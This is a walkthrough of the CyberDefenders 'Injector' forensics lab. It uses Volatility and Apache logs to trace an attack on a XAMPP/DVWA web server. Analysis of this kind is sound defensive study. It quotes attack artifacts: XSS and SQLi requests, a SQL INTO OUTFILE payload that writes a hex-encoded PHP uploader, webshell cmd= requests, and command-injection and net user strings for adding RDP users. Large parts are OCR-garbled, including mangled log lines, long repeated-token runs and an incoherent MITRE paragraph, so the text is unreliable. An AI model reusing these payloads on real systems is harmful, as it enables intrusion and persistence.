Injector Lab (Cyber Defenders) - Walkthrough

Friday, September 27, 2024 4:30 AM

Story

A company's web server has been breached through their website. Our team arrived just in time to take a forensic image of the running system and its memory for further analysis.

Q1: What is the computer's name?

To address this, I used Volatility 2.

First, I identified the machine profile as 'Win2008SP1x86' using the imageinfo plugin and then used the hivelist plugin to locate the available hives and their directories.

To identify the hostname, we need to print the key 'HKLM\System\CurrentControlSet\Control \ComputerName\ComputerName'.
I found the SYSTEM offset to be '0x86226008', so we use the -o flag to specify the offset and the -K

flag to specify the key. The final command is:

python2 vol.py -f ../memdump.mem --profile=Win2008SP1x86 printkey -o 0x86226008 -K "ControlSet001\\Control\\ComputerName\\ComputerName"

And boom, we found the computer name, which is WIN-LOZZO76PMUE

```
0×87b4ba20 0×3c0c0a20 \Device\HarddiskVolume1\Windows\System32\config\COMPONENTS
0×87b55a20 0×3c192a20 \Device\HarddiskVolume1\Windows\System32\config\SOFTWARE
0×87b7d008 0×3a6a2008 \Device\HarddiskVolume1\Windows\System32\config\SAM
0-837676098 0-3a6a2608 \Device\HarddiskVolume1\Windows\System32\config\SAM
0-837676098 0-3a6a2608 \Device\HarddiskVolume1\Windows\System32\config\SEM
0-83676608 0-3a6a2608 \Device\HarddiskVolume1\Windows\System32\config\DEFAULT
0-88610a20 0-32582820 \Device\HarddiskVolume1\Windows\Service\Profiles\NetworkService\NTUSER.DAT
0-89656320 0-32516a20 \Device\HarddiskVolume1\Windows\Service\Profiles\LocalService\NTUSER.DAT
0-9066ca20 0-1216ba20 \Device\HarddiskVolume1\Users\Administrator\AppData\Local\Microsoft\Windows\UsrClass.dat
0-80610008 0-400ac8008 [no name]
0-80626008 0-000a94008 \REGISTRY\MACHINE\SYSTEM
0-80626008 0-000a94008 \REGISTRY\MACHINE\SYSTEM
0-80626008 0-000a7608 \REGISTRY\MACHINE\HARDWARE
0-87b17a20 0-3c1f5a20 \Device\HarddiskVolume1\Windows\System32\config\SECURITY
```

Q2:What is the Timezone of the compromised machine? Format: UTC+0 (no-space)

. In the same method like the question above, the time zone information located in the 'SYSTEM' hive at 'ControlSet001\\Control\\TimeZoneInformation'.

We already found the offset of the SYSTEM hive, so the final command is:

python2 vol.py -f ../memdump.mem --profile=Win2008SP1x86 printkey -o 0x86226008 -K "ControlSet001\\Control\\TimeZoneInformation"

Look for the value of ActiveTimeBias, which indicates the timezone offset in minutes from UTC. In our case its 420, which equal to 'UTC-7'

```
Subkeys:
         Values:
Values:
REG_DWORD
REG_SZ
REG_DWORD
REG_BINARY
0×00000000
REG_SZ
REG_DWORD
REG BINARY
REG_SZ
REG_DWORD
REG_DWORD
```

Q3:What was the first vulnerability the attacker was able to exploit?

 Initially, I utilized the cmdscan plugin to investigate unusual command-line interface (CLI) activities, discovering that csrss.exe (PID 524) interacted with cmd.exe to execute multiple suspicious commands. As we already know from the story, the web server was compromised through their website

Next, I employed the pstree plugin to examine the process tree, revealing that the FileZilla server, MySQL database, and XAMPP were running the Apache server (httpd.exe).

Subsequently, I loaded the file s4a-challenge4 using R-Studio and checked the Apache logs. In the Accesslog.log, we identified numerous vulnerability exploitation attempts, including SQL injection (SQLi), directory traversal, and cross-site scripting (XSS).

Notably, I found that the attacker received a 200 status code for the XSS operations.

[Ali; Limix Aco_ct; rviso.v] Vecko/AUJUVIV. fireLOX/SOLV LOWESSEL/SOLV."

192.165.56.102 - [GD/Sep/2015:23:31:28 -0700] "GET /Avwa/vulnershilities/xss f/name+3Cscript3Ealert%2527XS342782943Ck2Fscript3E HTTP/1.1" 200 4500

"http://32.166.56.101/dvav/vulnershilities/xss f/name+3Cscript3Ealert%2527XS342782943Ck2Fscript3E HTTP/1.1" 200 4500

192.166.56.1010 - [GD/Sep/2015:23:32:17 -0700] "GET /Avwa/vulnershilities/xss f/name+3Cscript3E* "Mostila/5.0 (Xii; Linux x86_64; rvi38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

192.165.56.1020 - [GD/Sep/2015:23:35:11 -0700] "GET /Avwa/vulnershilities/xss f/name+3Cscript3E* "Mostila/5.0 (Xii; Linux x86_64; rvi38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

192.165.56.1020 - [GD/Sep/2015:23:35:11 -0700] "GET /Avwa/vulnershilities/xss f/"Name+3Cscript3E* HTTP/1.1" 200 4528

"http://32.168.56.1010/avva/vulnershilities/xss f/"Name+3Cscript3E* HTTP/1.1" 200 4528

"http://32.168.56.1010/avva/vulnershilities/xss f/"Name+3Cscript3E* HTTP/1.1" 200 4527

"http://32.168.56.1010/avva/vulnershilities/xss f/"Name+3Cscript3E* HTTP/1.1" 200 4528

"http://32.168.56.1010/avva/vulnershilities/xss f/"Name+3Cscript3E* HTTP/1.1" 200 4528

"http://32.168.56.1010/avva/vulnershilities/xss f/"Name+3Cscript3E* HTTP/1.1" 200 4528

"http://32.168.56.1010/avva/vulnershilities/xss f/"Name+3Cscript3E* HTTP

Q4:What is the OS build number?

I utilized the 'Hivelist' plugin again to locate the offset of the 'SOFTWARE' hive, which I found to be
'0x87b55a20'.

Within the key "Microsoft\Windows NT\CurrentVersion," I was able to identify the OS build number, which in this instance is '6001'.

Command: python2 vol.py-f ../memdump.mem --profile=Win2008SP1x86 printkey-o 0x87b55a20-K "Microsoft\Windows NT\\CurrentVersion"

Q5: How many users are on the compromised machine?

 Using the same method as before, I determined the number of users on the compromised machine

The 'ProfileList' key contains the SIDs of all users on the system, located in the SOFTWARE hive under "Microsoft\Windows NT\CurrentVersion\ProfileList."

I found that there are **four** users on the compromised machine.

Command: python2 vol.py -f ../memdump.mem --profile=Win2008SP1x86 printkey -o 0x87b55a20 -K "Microsoft\\Windows NT\\CurrentVersion\\ProfileList"

```
Registry: \Device\HarddiskVolume1\Windows\System32\config\SOFTWARE
Key name: ProfileList (S)
Last updated: 2015-08-24 06:57:38 UTC+0000

Subkeys:
(S) S-1-5-18
(S) S-1-5-18
(S) S-1-5-20
(S) S-1-5-20
(S) S-1-5-20
(S) S-1-5-20
(S) S-1-5-20
(S) S-1-5-21-3848053756-3249532031-1848221756-500

Values:
REG_EXPAND_SZ ProfilesDirectory: (S) %SystemDrive%\Users\REG_EXPAND_SZ Public
REG_EXPAND_SZ Public
: (S) %SystemDrive%\Users\Default
REG_EXPAND_SZ ProgramData
: (S) %SystemDrive%\Users\Public
REG_EXPAND_SZ ProgramData
```

Q6: What is the webserver package installed on the machine?

We already 'xampp' is the installed package.

Q7: What is the name of the vulnerable web app installed on the webserver?

 When I examined the Apache 'access.log' I identified most of the malicious requests targeting 'dvwa' directory which is known vulnerable application.

```
### Green | Gr
```

Q8:What is the user agent used in the HTTP requests sent by the SQL injection attack tool?

 I examined the Apache 'Access.log' and identified multiple SQL injection attempts made by the 'SQLMap' tool, which referenced the user agent 'sqlmap/1.0-dev-nongit-20150902'.

```
$688: 192.168.56.102 - [02/Sep/2015:04:18:26 -0700] "GET /dwwa/vulnerabilities/sqli/ld=24Submit=Submit$25427420WION$2084L$2054LECT$20WLL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWULL$2CWUL
Line
```

Q9: The attacker read multiple files through LFI vulnerability. One of them is related to network

 I examined the Apache 'access.log' and identified an LFI attack executed through the 'Page=' parameter.

Q10: The attacker tried to update some firewall rules using netsh command. Provide the value of the type parameter in the executed command?

. I used 'cmdscan' plugin to identify the commands that the attacker executed. I identified the attacker enables the 'Remote Desktop' service through the FW.

```
Cmd #13 \odot 0×e91218: netsh firewall set service type = remotedesktop /? Cmd #14 \odot 0×e91288: netsh firewall set service type = remotedesktop enable
Cmd #15 @ 0×e91300: netsh firewall set service type=remotedesktop mode=enable
Cmd #16 @ 0×e91380: netsh firewall set service type=remotedesktop mode=enable scope=subnet
```

Q11:How many users were added by the attacker?

 From the 'cmdscan' output, we can see only one user (user1) created by the attacker, but this is not the complete answer.

In the process tree, we can observe that the process 'httpd.exe' spawns another process with PID

I dumped the process memory, used the 'strings' command, and grepped for 'localgroup' because I assumed the attacker added the user to the RDP group.

```
-(kali®kali)-[~/Desktop/volatility]
strings 2880.dmp | grep 'localgroup' ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$
```

```
imd #2 a 0×e91db0: ipconfig
Cmd #3 @ 0×5a34bd0: net user user1 user1 /add
Cmd #4 @ 0×5a34eb8: net user user1 root@psut /add
Cmd #5 @ 0×5a34c10: net user user1 Root@psut /add
Cmd #6 @ 0×5a24800: cls
Cmd #7 @ 0×5a34c58: net /?
Cmd #8 @ 0×5a34d88: net localgroup /?
Cmd #9 @ 0×5a34f48: net localgroup "Remote Desktop Users" user1 /add
```

O12:When did the attacker create the first user?

 To address this question. I fetched the 'Security' logs using Volatility 2. I employed the filescan plugin to locate the virtual address of the file (0x00000003f228e20) and retrieved it using the following command:

python2 vol.py -f ../memdump.mem --profile=Win2008SP1x86 dumpfiles -Q 0x00000003f228e20 -- dump-dir=.

I searched for Event ID 4720, which indicates user creation, but found no relevant entries. Instead, I turned to the SAM hive to identify the creation time of the user accounts

python2 vol.py -f ../memdump.mem --profile=Win2008SP1x86 printkey -o 0x87b7d008 -K "SAM

\\Domains\\Account\\Users

This command returned the Relative Identifiers (RIDs) of the accounts, leading me to assume that the user created first would be the one listed just before the last (user1).
When I access the subkey with the specific user 'RID' and found the last updated was at 2015-09-02 09:05:06 UTC

```
Subkeys:
  (S) 000001F4
  (S) 000001F5
  (S) 000003ED
  (S) 000003EE
  (S) Names
Values:
REG_DWORD
```



Q13: What is the NThash of the user's password set by the attacker?

• I used volatility3 by 'hashdump' plugin to find the Nthash of the user's password.

Q14: What is The MITRE ID corresponding to the technique used to keep persistence?

Presence Account

Sub-techniques (3)

Adversaries may reste on account to maintain access to sixtim systems (1) from a sufficient level of access, creating such accounts may be used to establish necessariey creates that do not require persistent remote access tools to be deployed on the system.

Accounts may be used to account to maintain access to sixtim systems (1) from a sufficient level of access, creating such accounts may be used to establish necessariey creates that do not require persistent remote access tools to be deployed on the system.

Accounts may be extended in this local dryther or withins downsor or cloud breast, in cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chains of delection.

Distribution

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Q15: The attacker uploaded a simple command shell through file upload vulnerability. Provide the name of the URL parameter used to execute commands?

When I navigated in the 'access.log' I identified a PHP shell which executing commands via

```
Search "cmd=" (11 hits in 1 file of 1 searched) [Normal]

E:\tampp\apanche\logs\access.log (11 hits)

Line 7605: 192.168.56.102 - - (02/Sep/2015:04:25:53 -0700) "GET /tmpbiwuc.php?cmd=echo$20command$20execution$20test HTTP/1.1" 200 36 "-" "sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)"

Line 7606: 192.168.56.102 - - (02/Sep/2015:04:26:30 -0700) "GET /tmpbiwuc.php?cmd=echo$20command$20execution$20test HTTP/1.1" 200 85 "-" "sqlmap/1.0-dev-nongit-20150902 (http://sqlmap.org)"

Line 7606: 192.168.56.102 - - (02/Sep/2015:04:26:33 -0700) "GET /tmpbiwuc.php?cmd=edla70v2FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP2004FP
```

Q16: One of the uploaded files by the attacker has an md5 that starts with "559411". Provide the full

To address this question, I searched for 'POST' requests in the 'access.log' and identified several
uploads to the vulnerable application 'DVWA.' I then accessed the directory where the files were
uploaded, used the md5sum command, and filtered the results for hashes starting with "559411,'
which led me to the hash associated with 'webshell.php.'

```
E:\xampp\htdocs\DVWA

\text{\text{MSSum.exe} * | grep 559411}
\text{\text{mdSsum.exe} * | grep 569412}
\text{\text{mdSsum.exe} * | grep 569412}
\text{\text{mdSsum.exe} * | grep 66942}
\text{\text{mdSsum.
```

Q17: The attacker used Command Injection to add user "hacker" to the "Remote Desktop Users" Group. Provide the IP address that was part of the executed command?

We already found the answer above (192.168.56.102)

```
(kali@ kali)-[~/Desktop/volatility]
$ strings 2880.dmp | grep 'localgroup'
ip=192.168.56.102+%26%26+net+localgroup+%22Remote+Desktop+Users%22+hacker+%2Fadd&submit=submit$
```

Q18: The attacker dropped a shellcode through SQLi vulnerability. The shellcode was checking for a

specific version of PHP. Provide the PHP version number?

 I filtered the access log by the attacker IP. I navigated through the logs until I found URL decoded SQLi injection command which creating file name 'tmpukudk.php'

I decoded it from 'Hex' and found the PHP version! (4.1.0)

ogamapyaro acr mongao polocoop (moopeyyogan

3747970653d6d756c74697061727427666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303032e3c623e73716c6d61702066696c652075706c6f6164 65723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5 c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20--%20--%20bmit=Submit HTTP/1.1" 200 4893 "-"

192.168.56.102-[02/Sep/2015.04.25.52-0700]"GET/dvwa/vulnerabilities/sqli/?id=2' LIMIT 0.1 INTO OUTFILE '/xampp/htdocs/tmpukudk.php' LINES TERMINATED B Y 0x3c3f706870\u00e469662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f628293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b2266616d65225d3b4 06d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e24666 2e2227222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374699f6e3d222e245f5345525645525b225048505f63454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757 47970653d74657874206e616d653d75706c6f61644469722076616c75653d5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d69

mmc 1418 = 1 Tr Raw Bytes ← LF 日同雨日 Output 🎉

if (isset(\$ REQUEST["upload"])){\$dir=\$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){\$file=\$HTTP POST_FILES["file"] it (isset(S_REQUEST["upload"])\{\sin=S_REQUEST["uploadDlr"]\sin {\phypersion(\x'4.1.0")\{\sin!e=SHTIP_POST_FILES["file"]["name"],\sin ve_uploaded_file(\sin FILES["file"]["tmp_name"],\sin v."/".\sfile) or die();\sin chand(\sid fi."/".\sfile) file {\sin file \sin type=text name=uploadDir value=\\xampp\\htdocs\\> <input type=submit name=upload value=upload></form>";}?>